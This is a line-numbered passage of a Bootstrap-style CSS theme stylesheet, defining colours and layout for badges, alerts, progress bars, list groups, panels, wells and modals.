4785.label-danger {
4786 background-color: #ff0039;
4787}
4788.label-danger[href]:hover,
4789.label-danger[href]:focus {
4790 background-color: #cc002e;
4791}
4792.badge {
4793 display: inline-block;
4794 min-width: 10px;
4795 padding: 3px 7px;
4796 font-size: 13px;
4797 font-weight: bold;
4798 color: #ffffff;
4799 line-height: 1;
4800 vertical-align: baseline;
4801 white-space: nowrap;
4802 text-align: center;
4803 background-color: #2780e3;
4804 border-radius: 10px;
4805}
4806.badge:empty {
4807 display: none;
4808}
4809.btn .badge {
4810 position: relative;
4811 top: -1px;
4812}
4813.btn-xs .badge {
4814 top: 0;
4815 padding: 1px 5px;
4816}
4817a.badge:hover,
4818a.badge:focus {
4819 color: #ffffff;
4820 text-decoration: none;
4821 cursor: pointer;
4822}
4823.list-group-item.active > .badge,
4824.nav-pills > .active > a > .badge {
4825 color: #2780e3;
4826 background-color: #ffffff;
4827}
4828.list-group-item > .badge {
4829 float: right;
4830}
4831.list-group-item > .badge + .badge {
4832 margin-right: 5px;
4833}
4834.nav-pills > li > a > .badge {
4835 margin-left: 3px;
4836}
4837.jumbotron {
4838 padding: 30px 15px;
4839 margin-bottom: 30px;
4840 color: inherit;
4841 background-color: #e6e6e6;
4842}
4843.jumbotron h1,
4844.jumbotron .h1 {
4845 color: inherit;
4846}
4847.jumbotron p {
4848 margin-bottom: 15px;
4849 font-size: 23px;
4850 font-weight: 200;
4851}
4852.jumbotron > hr {
4853 border-top-color: #cccccc;
4854}
4855.container .jumbotron,
4856.container-fluid .jumbotron {
4857 border-radius: 0;
4858}
4859.jumbotron .container {
4860 max-width: 100%;
4861}
4862@media screen and (min-width: 768px) {
4863 .jumbotron {
4864 padding: 48px 0;
4865 }
4866 .container .jumbotron,
4867 .container-fluid .jumbotron {
4868 padding-left: 60px;
4869 padding-right: 60px;
4870 }
4871 .jumbotron h1,
4872 .jumbotron .h1 {
4873 font-size: 67.5px;
4874 }
4875}
4876.thumbnail {
4877 display: block;
4878 padding: 4px;
4879 margin-bottom: 21px;
4880 line-height: 1.42857143;
4881 background-color: #ffffff;
4882 border: 1px solid #dddddd;
4883 border-radius: 0;
4884 -webkit-transition: border 0.2s ease-in-out;
4885 -o-transition: border 0.2s ease-in-out;
4886 transition: border 0.2s ease-in-out;
4887}
4888.thumbnail > img,
4889.thumbnail a > img {
4890 margin-left: auto;
4891 margin-right: auto;
4892}
4893a.thumbnail:hover,
4894a.thumbnail:focus,
4895a.thumbnail.active {
4896 border-color: #2780e3;
4897}
4898.thumbnail .caption {
4899 padding: 9px;
4900 color: #333333;
4901}
4902.alert {
4903 padding: 15px;
4904 margin-bottom: 21px;
4905 border: 1px solid transparent;
4906 border-radius: 0;
4907}
4908.alert h4 {
4909 margin-top: 0;
4910 color: inherit;
4911}
4912.alert .alert-link {
4913 font-weight: bold;
4914}
4915.alert > p,
4916.alert > ul {
4917 margin-bottom: 0;
4918}
4919.alert > p + p {
4920 margin-top: 5px;
4921}
4922.alert-dismissable,
4923.alert-dismissible {
4924 padding-right: 35px;
4925}
4926.alert-dismissable .close,
4927.alert-dismissible .close {
4928 position: relative;
4929 top: -2px;
4930 right: -21px;
4931 color: inherit;
4932}
4933.alert-success {
4934 background-color: #3fb618;
4935 border-color: #4e9f15;
4936 color: #ffffff;
4937}
4938.alert-success hr {
4939 border-top-color: #438912;
4940}
4941.alert-success .alert-link {
4942 color: #e6e6e6;
4943}
4944.alert-info {
4945 background-color: #9954bb;
4946 border-color: #7643a8;
4947 color: #ffffff;
4948}
4949.alert-info hr {
4950 border-top-color: #693c96;
4951}
4952.alert-info .alert-link {
4953 color: #e6e6e6;
4954}
4955.alert-warning {
4956 background-color: #ff7518;
4957 border-color: #ff4309;
4958 color: #ffffff;
4959}
4960.alert-warning hr {
4961 border-top-color: #ee3800;
4962}
4963.alert-warning .alert-link {
4964 color: #e6e6e6;
4965}
4966.alert-danger {
4967 background-color: #ff0039;
4968 border-color: #f0005e;
4969 color: #ffffff;
4970}
4971.alert-danger hr {
4972 border-top-color: #d60054;
4973}
4974.alert-danger .alert-link {
4975 color: #e6e6e6;
4976}
4977@-webkit-keyframes progress-bar-stripes {
4978 from {
4979 background-position: 40px 0;
4980 }
4981 to {
4982 background-position: 0 0;
4983 }
4984}
4985@-o-keyframes progress-bar-stripes {
4986 from {
4987 background-position: 40px 0;
4988 }
4989 to {
4990 background-position: 0 0;
4991 }
4992}
4993@keyframes progress-bar-stripes {
4994 from {
4995 background-position: 40px 0;
4996 }
4997 to {
4998 background-position: 0 0;
4999 }
5000}
5001.progress {
5002 overflow: hidden;
5003 height: 21px;
5004 margin-bottom: 21px;
5005 background-color: #cccccc;
5006 border-radius: 0;
5007 -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);
5008 box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);
5009}
5010.progress-bar {
5011 float: left;
5012 width: 0%;
5013 height: 100%;
5014 font-size: 13px;
5015 line-height: 21px;
5016 color: #ffffff;
5017 text-align: center;
5018 background-color: #2780e3;
5019 -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);
5020 box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);
5021 -webkit-transition: width 0.6s ease;
5022 -o-transition: width 0.6s ease;
5023 transition: width 0.6s ease;
5024}
5025.progress-striped .progress-bar,
5026.progress-bar-striped {
5027 background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
5028 background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
5029 background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
5030 -webkit-background-size: 40px 40px;
5031 background-size: 40px 40px;
5032}
5033.progress.active .progress-bar,
5034.progress-bar.active {
5035 -webkit-animation: progress-bar-stripes 2s linear infinite;
5036 -o-animation: progress-bar-stripes 2s linear infinite;
5037 animation: progress-bar-stripes 2s linear infinite;
5038}
5039.progress-bar-success {
5040 background-color: #3fb618;
5041}
5042.progress-striped .progress-bar-success {
5043 background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
5044 background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
5045 background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
5046}
5047.progress-bar-info {
5048 background-color: #9954bb;
5049}
5050.progress-striped .progress-bar-info {
5051 background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
5052 background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
5053 background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
5054}
5055.progress-bar-warning {
5056 background-color: #ff7518;
5057}
5058.progress-striped .progress-bar-warning {
5059 background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
5060 background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
5061 background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
5062}
5063.progress-bar-danger {
5064 background-color: #ff0039;
5065}
5066.progress-striped .progress-bar-danger {
5067 background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
5068 background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
5069 background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
5070}
5071.media {
5072 margin-top: 15px;
5073}
5074.media:first-child {
5075 margin-top: 0;
5076}
5077.media,
5078.media-body {
5079 zoom: 1;
5080 overflow: hidden;
5081}
5082.media-body {
5083 width: 10000px;
5084}
5085.media-object {
5086 display: block;
5087}
5088.media-right,
5089.media > .pull-right {
5090 padding-left: 10px;
5091}
5092.media-left,
5093.media > .pull-left {
5094 padding-right: 10px;
5095}
5096.media-left,
5097.media-right,
5098.media-body {
5099 display: table-cell;
5100 vertical-align: top;
5101}
5102.media-middle {
5103 vertical-align: middle;
5104}
5105.media-bottom {
5106 vertical-align: bottom;
5107}
5108.media-heading {
5109 margin-top: 0;
5110 margin-bottom: 5px;
5111}
5112.media-list {
5113 padding-left: 0;
5114 list-style: none;
5115}
5116.list-group {
5117 margin-bottom: 20px;
5118 padding-left: 0;
5119}
5120.list-group-item {
5121 position: relative;
5122 display: block;
5123 padding: 10px 15px;
5124 margin-bottom: -1px;
5125 background-color: #ffffff;
5126 border: 1px solid #dddddd;
5127}
5128.list-group-item:first-child {
5129 border-top-right-radius: 0;
5130 border-top-left-radius: 0;
5131}
5132.list-group-item:last-child {
5133 margin-bottom: 0;
5134 border-bottom-right-radius: 0;
5135 border-bottom-left-radius: 0;
5136}
5137a.list-group-item {
5138 color: #555555;
5139}
5140a.list-group-item .list-group-item-heading {
5141 color: #333333;
5142}
5143a.list-group-item:hover,
5144a.list-group-item:focus {
5145 text-decoration: none;
5146 color: #555555;
5147 background-color: #f5f5f5;
5148}
5149.list-group-item.disabled,
5150.list-group-item.disabled:hover,
5151.list-group-item.disabled:focus {
5152 background-color: #e6e6e6;
5153 color: #999999;
5154 cursor: not-allowed;
5155}
5156.list-group-item.disabled .list-group-item-heading,
5157.list-group-item.disabled:hover .list-group-item-heading,
5158.list-group-item.disabled:focus .list-group-item-heading {
5159 color: inherit;
5160}
5161.list-group-item.disabled .list-group-item-text,
5162.list-group-item.disabled:hover .list-group-item-text,
5163.list-group-item.disabled:focus .list-group-item-text {
5164 color: #999999;
5165}
5166.list-group-item.active,
5167.list-group-item.active:hover,
5168.list-group-item.active:focus {
5169 z-index: 2;
5170 color: #ffffff;
5171 background-color: #2780e3;
5172 border-color: #dddddd;
5173}
5174.list-group-item.active .list-group-item-heading,
5175.list-group-item.active:hover .list-group-item-heading,
5176.list-group-item.active:focus .list-group-item-heading,
5177.list-group-item.active .list-group-item-heading > small,
5178.list-group-item.active:hover .list-group-item-heading > small,
5179.list-group-item.active:focus .list-group-item-heading > small,
5180.list-group-item.active .list-group-item-heading > .small,
5181.list-group-item.active:hover .list-group-item-heading > .small,
5182.list-group-item.active:focus .list-group-item-heading > .small {
5183 color: inherit;
5184}
5185.list-group-item.active .list-group-item-text,
5186.list-group-item.active:hover .list-group-item-text,
5187.list-group-item.active:focus .list-group-item-text {
5188 color: #dceafa;
5189}
5190.list-group-item-success {
5191 color: #ffffff;
5192 background-color: #3fb618;
5193}
5194a.list-group-item-success {
5195 color: #ffffff;
5196}
5197a.list-group-item-success .list-group-item-heading {
5198 color: inherit;
5199}
5200a.list-group-item-success:hover,
5201a.list-group-item-success:focus {
5202 color: #ffffff;
5203 background-color: #379f15;
5204}
5205a.list-group-item-success.active,
5206a.list-group-item-success.active:hover,
5207a.list-group-item-success.active:focus {
5208 color: #fff;
5209 background-color: #ffffff;
5210 border-color: #ffffff;
5211}
5212.list-group-item-info {
5213 color: #ffffff;
5214 background-color: #9954bb;
5215}
5216a.list-group-item-info {
5217 color: #ffffff;
5218}
5219a.list-group-item-info .list-group-item-heading {
5220 color: inherit;
5221}
5222a.list-group-item-info:hover,
5223a.list-group-item-info:focus {
5224 color: #ffffff;
5225 background-color: #8d46b0;
5226}
5227a.list-group-item-info.active,
5228a.list-group-item-info.active:hover,
5229a.list-group-item-info.active:focus {
5230 color: #fff;
5231 background-color: #ffffff;
5232 border-color: #ffffff;
5233}
5234.list-group-item-warning {
5235 color: #ffffff;
5236 background-color: #ff7518;
5237}
5238a.list-group-item-warning {
5239 color: #ffffff;
5240}
5241a.list-group-item-warning .list-group-item-heading {
5242 color: inherit;
5243}
5244a.list-group-item-warning:hover,
5245a.list-group-item-warning:focus {
5246 color: #ffffff;
5247 background-color: #fe6600;
5248}
5249a.list-group-item-warning.active,
5250a.list-group-item-warning.active:hover,
5251a.list-group-item-warning.active:focus {
5252 color: #fff;
5253 background-color: #ffffff;
5254 border-color: #ffffff;
5255}
5256.list-group-item-danger {
5257 color: #ffffff;
5258 background-color: #ff0039;
5259}
5260a.list-group-item-danger {
5261 color: #ffffff;
5262}
5263a.list-group-item-danger .list-group-item-heading {
5264 color: inherit;
5265}
5266a.list-group-item-danger:hover,
5267a.list-group-item-danger:focus {
5268 color: #ffffff;
5269 background-color: #e60033;
5270}
5271a.list-group-item-danger.active,
5272a.list-group-item-danger.active:hover,
5273a.list-group-item-danger.active:focus {
5274 color: #fff;
5275 background-color: #ffffff;
5276 border-color: #ffffff;
5277}
5278.list-group-item-heading {
5279 margin-top: 0;
5280 margin-bottom: 5px;
5281}
5282.list-group-item-text {
5283 margin-bottom: 0;
5284 line-height: 1.3;
5285}
5286.panel {
5287 margin-bottom: 21px;
5288 background-color: #ffffff;
5289 border: 1px solid transparent;
5290 border-radius: 0;
5291 -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05);
5292 box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05);
5293}
5294.panel-body {
5295 padding: 15px;
5296}
5297.panel-heading {
5298 padding: 10px 15px;
5299 border-bottom: 1px solid transparent;
5300 border-top-right-radius: -1;
5301 border-top-left-radius: -1;
5302}
5303.panel-heading > .dropdown .dropdown-toggle {
5304 color: inherit;
5305}
5306.panel-title {
5307 margin-top: 0;
5308 margin-bottom: 0;
5309 font-size: 17px;
5310 color: inherit;
5311}
5312.panel-title > a,
5313.panel-title > small,
5314.panel-title > .small,
5315.panel-title > small > a,
5316.panel-title > .small > a {
5317 color: inherit;
5318}
5319.panel-footer {
5320 padding: 10px 15px;
5321 background-color: #f5f5f5;
5322 border-top: 1px solid #dddddd;
5323 border-bottom-right-radius: -1;
5324 border-bottom-left-radius: -1;
5325}
5326.panel > .list-group,
5327.panel > .panel-collapse > .list-group {
5328 margin-bottom: 0;
5329}
5330.panel > .list-group .list-group-item,
5331.panel > .panel-collapse > .list-group .list-group-item {
5332 border-width: 1px 0;
5333 border-radius: 0;
5334}
5335.panel > .list-group:first-child .list-group-item:first-child,
5336.panel > .panel-collapse > .list-group:first-child .list-group-item:first-child {
5337 border-top: 0;
5338 border-top-right-radius: -1;
5339 border-top-left-radius: -1;
5340}
5341.panel > .list-group:last-child .list-group-item:last-child,
5342.panel > .panel-collapse > .list-group:last-child .list-group-item:last-child {
5343 border-bottom: 0;
5344 border-bottom-right-radius: -1;
5345 border-bottom-left-radius: -1;
5346}
5347.panel-heading + .list-group .list-group-item:first-child {
5348 border-top-width: 0;
5349}
5350.list-group + .panel-footer {
5351 border-top-width: 0;
5352}
5353.panel > .table,
5354.panel > .table-responsive > .table,
5355.panel > .panel-collapse > .table {
5356 margin-bottom: 0;
5357}
5358.panel > .table caption,
5359.panel > .table-responsive > .table caption,
5360.panel > .panel-collapse > .table caption {
5361 padding-left: 15px;
5362 padding-right: 15px;
5363}
5364.panel > .table:first-child,
5365.panel > .table-responsive:first-child > .table:first-child {
5366 border-top-right-radius: -1;
5367 border-top-left-radius: -1;
5368}
5369.panel > .table:first-child > thead:first-child > tr:first-child,
5370.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child,
5371.panel > .table:first-child > tbody:first-child > tr:first-child,
5372.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child {
5373 border-top-left-radius: -1;
5374 border-top-right-radius: -1;
5375}
5376.panel > .table:first-child > thead:first-child > tr:first-child td:first-child,
5377.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child,
5378.panel > .table:first-child > tbody:first-child > tr:first-child td:first-child,
5379.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child,
5380.panel > .table:first-child > thead:first-child > tr:first-child th:first-child,
5381.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child,
5382.panel > .table:first-child > tbody:first-child > tr:first-child th:first-child,
5383.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child {
5384 border-top-left-radius: -1;
5385}
5386.panel > .table:first-child > thead:first-child > tr:first-child td:last-child,
5387.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child,
5388.panel > .table:first-child > tbody:first-child > tr:first-child td:last-child,
5389.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child,
5390.panel > .table:first-child > thead:first-child > tr:first-child th:last-child,
5391.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child,
5392.panel > .table:first-child > tbody:first-child > tr:first-child th:last-child,
5393.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child {
5394 border-top-right-radius: -1;
5395}
5396.panel > .table:last-child,
5397.panel > .table-responsive:last-child > .table:last-child {
5398 border-bottom-right-radius: -1;
5399 border-bottom-left-radius: -1;
5400}
5401.panel > .table:last-child > tbody:last-child > tr:last-child,
5402.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child,
5403.panel > .table:last-child > tfoot:last-child > tr:last-child,
5404.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child {
5405 border-bottom-left-radius: -1;
5406 border-bottom-right-radius: -1;
5407}
5408.panel > .table:last-child > tbody:last-child > tr:last-child td:first-child,
5409.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child,
5410.panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child,
5411.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child,
5412.panel > .table:last-child > tbody:last-child > tr:last-child th:first-child,
5413.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child,
5414.panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child,
5415.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child {
5416 border-bottom-left-radius: -1;
5417}
5418.panel > .table:last-child > tbody:last-child > tr:last-child td:last-child,
5419.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child,
5420.panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child,
5421.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child,
5422.panel > .table:last-child > tbody:last-child > tr:last-child th:last-child,
5423.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child,
5424.panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child,
5425.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child {
5426 border-bottom-right-radius: -1;
5427}
5428.panel > .panel-body + .table,
5429.panel > .panel-body + .table-responsive,
5430.panel > .table + .panel-body,
5431.panel > .table-responsive + .panel-body {
5432 border-top: 1px solid #dddddd;
5433}
5434.panel > .table > tbody:first-child > tr:first-child th,
5435.panel > .table > tbody:first-child > tr:first-child td {
5436 border-top: 0;
5437}
5438.panel > .table-bordered,
5439.panel > .table-responsive > .table-bordered {
5440 border: 0;
5441}
5442.panel > .table-bordered > thead > tr > th:first-child,
5443.panel > .table-responsive > .table-bordered > thead > tr > th:first-child,
5444.panel > .table-bordered > tbody > tr > th:first-child,
5445.panel > .table-responsive > .table-bordered > tbody > tr > th:first-child,
5446.panel > .table-bordered > tfoot > tr > th:first-child,
5447.panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child,
5448.panel > .table-bordered > thead > tr > td:first-child,
5449.panel > .table-responsive > .table-bordered > thead > tr > td:first-child,
5450.panel > .table-bordered > tbody > tr > td:first-child,
5451.panel > .table-responsive > .table-bordered > tbody > tr > td:first-child,
5452.panel > .table-bordered > tfoot > tr > td:first-child,
5453.panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child {
5454 border-left: 0;
5455}
5456.panel > .table-bordered > thead > tr > th:last-child,
5457.panel > .table-responsive > .table-bordered > thead > tr > th:last-child,
5458.panel > .table-bordered > tbody > tr > th:last-child,
5459.panel > .table-responsive > .table-bordered > tbody > tr > th:last-child,
5460.panel > .table-bordered > tfoot > tr > th:last-child,
5461.panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child,
5462.panel > .table-bordered > thead > tr > td:last-child,
5463.panel > .table-responsive > .table-bordered > thead > tr > td:last-child,
5464.panel > .table-bordered > tbody > tr > td:last-child,
5465.panel > .table-responsive > .table-bordered > tbody > tr > td:last-child,
5466.panel > .table-bordered > tfoot > tr > td:last-child,
5467.panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child {
5468 border-right: 0;
5469}
5470.panel > .table-bordered > thead > tr:first-child > td,
5471.panel > .table-responsive > .table-bordered > thead > tr:first-child > td,
5472.panel > .table-bordered > tbody > tr:first-child > td,
5473.panel > .table-responsive > .table-bordered > tbody > tr:first-child > td,
5474.panel > .table-bordered > thead > tr:first-child > th,
5475.panel > .table-responsive > .table-bordered > thead > tr:first-child > th,
5476.panel > .table-bordered > tbody > tr:first-child > th,
5477.panel > .table-responsive > .table-bordered > tbody > tr:first-child > th {
5478 border-bottom: 0;
5479}
5480.panel > .table-bordered > tbody > tr:last-child > td,
5481.panel > .table-responsive > .table-bordered > tbody > tr:last-child > td,
5482.panel > .table-bordered > tfoot > tr:last-child > td,
5483.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td,
5484.panel > .table-bordered > tbody > tr:last-child > th,
5485.panel > .table-responsive > .table-bordered > tbody > tr:last-child > th,
5486.panel > .table-bordered > tfoot > tr:last-child > th,
5487.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th {
5488 border-bottom: 0;
5489}
5490.panel > .table-responsive {
5491 border: 0;
5492 margin-bottom: 0;
5493}
5494.panel-group {
5495 margin-bottom: 21px;
5496}
5497.panel-group .panel {
5498 margin-bottom: 0;
5499 border-radius: 0;
5500}
5501.panel-group .panel + .panel {
5502 margin-top: 5px;
5503}
5504.panel-group .panel-heading {
5505 border-bottom: 0;
5506}
5507.panel-group .panel-heading + .panel-collapse > .panel-body,
5508.panel-group .panel-heading + .panel-collapse > .list-group {
5509 border-top: 1px solid #dddddd;
5510}
5511.panel-group .panel-footer {
5512 border-top: 0;
5513}
5514.panel-group .panel-footer + .panel-collapse .panel-body {
5515 border-bottom: 1px solid #dddddd;
5516}
5517.panel-default {
5518 border-color: #dddddd;
5519}
5520.panel-default > .panel-heading {
5521 color: #333333;
5522 background-color: #f5f5f5;
5523 border-color: #dddddd;
5524}
5525.panel-default > .panel-heading + .panel-collapse > .panel-body {
5526 border-top-color: #dddddd;
5527}
5528.panel-default > .panel-heading .badge {
5529 color: #f5f5f5;
5530 background-color: #333333;
5531}
5532.panel-default > .panel-footer + .panel-collapse > .panel-body {
5533 border-bottom-color: #dddddd;
5534}
5535.panel-primary {
5536 border-color: #2780e3;
5537}
5538.panel-primary > .panel-heading {
5539 color: #ffffff;
5540 background-color: #2780e3;
5541 border-color: #2780e3;
5542}
5543.panel-primary > .panel-heading + .panel-collapse > .panel-body {
5544 border-top-color: #2780e3;
5545}
5546.panel-primary > .panel-heading .badge {
5547 color: #2780e3;
5548 background-color: #ffffff;
5549}
5550.panel-primary > .panel-footer + .panel-collapse > .panel-body {
5551 border-bottom-color: #2780e3;
5552}
5553.panel-success {
5554 border-color: #4e9f15;
5555}
5556.panel-success > .panel-heading {
5557 color: #ffffff;
5558 background-color: #3fb618;
5559 border-color: #4e9f15;
5560}
5561.panel-success > .panel-heading + .panel-collapse > .panel-body {
5562 border-top-color: #4e9f15;
5563}
5564.panel-success > .panel-heading .badge {
5565 color: #3fb618;
5566 background-color: #ffffff;
5567}
5568.panel-success > .panel-footer + .panel-collapse > .panel-body {
5569 border-bottom-color: #4e9f15;
5570}
5571.panel-info {
5572 border-color: #7643a8;
5573}
5574.panel-info > .panel-heading {
5575 color: #ffffff;
5576 background-color: #9954bb;
5577 border-color: #7643a8;
5578}
5579.panel-info > .panel-heading + .panel-collapse > .panel-body {
5580 border-top-color: #7643a8;
5581}
5582.panel-info > .panel-heading .badge {
5583 color: #9954bb;
5584 background-color: #ffffff;
5585}
5586.panel-info > .panel-footer + .panel-collapse > .panel-body {
5587 border-bottom-color: #7643a8;
5588}
5589.panel-warning {
5590 border-color: #ff4309;
5591}
5592.panel-warning > .panel-heading {
5593 color: #ffffff;
5594 background-color: #ff7518;
5595 border-color: #ff4309;
5596}
5597.panel-warning > .panel-heading + .panel-collapse > .panel-body {
5598 border-top-color: #ff4309;
5599}
5600.panel-warning > .panel-heading .badge {
5601 color: #ff7518;
5602 background-color: #ffffff;
5603}
5604.panel-warning > .panel-footer + .panel-collapse > .panel-body {
5605 border-bottom-color: #ff4309;
5606}
5607.panel-danger {
5608 border-color: #f0005e;
5609}
5610.panel-danger > .panel-heading {
5611 color: #ffffff;
5612 background-color: #ff0039;
5613 border-color: #f0005e;
5614}
5615.panel-danger > .panel-heading + .panel-collapse > .panel-body {
5616 border-top-color: #f0005e;
5617}
5618.panel-danger > .panel-heading .badge {
5619 color: #ff0039;
5620 background-color: #ffffff;
5621}
5622.panel-danger > .panel-footer + .panel-collapse > .panel-body {
5623 border-bottom-color: #f0005e;
5624}
5625.embed-responsive {
5626 position: relative;
5627 display: block;
5628 height: 0;
5629 padding: 0;
5630 overflow: hidden;
5631}
5632.embed-responsive .embed-responsive-item,
5633.embed-responsive iframe,
5634.embed-responsive embed,
5635.embed-responsive object,
5636.embed-responsive video {
5637 position: absolute;
5638 top: 0;
5639 left: 0;
5640 bottom: 0;
5641 height: 100%;
5642 width: 100%;
5643 border: 0;
5644}
5645.embed-responsive.embed-responsive-16by9 {
5646 padding-bottom: 56.25%;
5647}
5648.embed-responsive.embed-responsive-4by3 {
5649 padding-bottom: 75%;
5650}
5651.well {
5652 min-height: 20px;
5653 padding: 19px;
5654 margin-bottom: 20px;
5655 background-color: #f5f5f5;
5656 border: 1px solid #e3e3e3;
5657 border-radius: 0;
5658 -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);
5659 box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);
5660}
5661.well blockquote {
5662 border-color: #ddd;
5663 border-color: rgba(0, 0, 0, 0.15);
5664}
5665.well-lg {
5666 padding: 24px;
5667 border-radius: 0;
5668}
5669.well-sm {
5670 padding: 9px;
5671 border-radius: 0;
5672}
5673.close {
5674 float: right;
5675 font-size: 22.5px;
5676 font-weight: bold;
5677 line-height: 1;
5678 color: #ffffff;
5679 text-shadow: 0 1px 0 #ffffff;
5680 opacity: 0.2;
5681 filter: alpha(opacity=20);
5682}
5683.close:hover,
5684.close:focus {
5685 color: #ffffff;
5686 text-decoration: none;
5687 cursor: pointer;
5688 opacity: 0.5;
5689 filter: alpha(opacity=50);
5690}
5691button.close {
5692 padding: 0;
5693 cursor: pointer;
5694 background: transparent;
5695 border: 0;
5696 -webkit-appearance: none;
5697}
5698.modal-open {
5699 overflow: hidden;
5700}
5701.modal {
5702 display: none;
5703 overflow: hidden;
5704 position: fixed;
5705 top: 0;
5706 right: 0;
5707 bottom: 0;
5708 left: 0;
5709 z-index: 1040;
5710 -webkit-overflow-scrolling: touch;
5711 outline: 0;
5712}
5713.modal.fade .modal-dialog {
5714 -webkit-transform: translate(0, -25%);
5715 -ms-transform: translate(0, -25%);
5716 -o-transform: translate(0, -25%);
5717 transform: translate(0, -25%);
5718 -webkit-transition: -webkit-transform 0.3s ease-out;
5719 -o-transition: -o-transform 0.3s ease-out;
5720 transition: transform 0.3s ease-out;
5721}
5722.modal.in .modal-dialog {
5723 -webkit-transform: translate(0, 0);
5724 -ms-transform: translate(0, 0);
5725 -o-transform: translate(0, 0);
5726 transform: translate(0, 0);
5727}
5728.modal-open .modal {
5729 overflow-x: hidden;
5730 overflow-y: auto;
5731}
5732.modal-dialog {
5733 position: relative;
5734 width: auto;
5735 margin: 10px;
5736}
5737.modal-content {
5738 position: relative;
5739 background-color: #ffffff;
5740 border: 1px solid #999999;
5741 border: 1px solid transparent;
5742 border-radius: 0;
